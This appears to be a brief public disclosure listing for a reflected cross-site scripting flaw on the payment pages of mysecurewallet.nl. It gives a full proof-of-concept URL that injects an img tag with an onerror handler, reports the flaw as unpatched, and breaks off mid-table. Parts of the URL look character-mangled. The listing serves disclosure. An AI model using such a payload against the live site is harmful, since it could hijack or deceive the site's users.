mysecurewallet.nl XSS vulnerability

Vulnerable URL: http://mysecurewallet.nl/payment/respo/paydatecamsnl/?p=2803π=p.%22%3E..%22%20=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%22aydateescort=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch...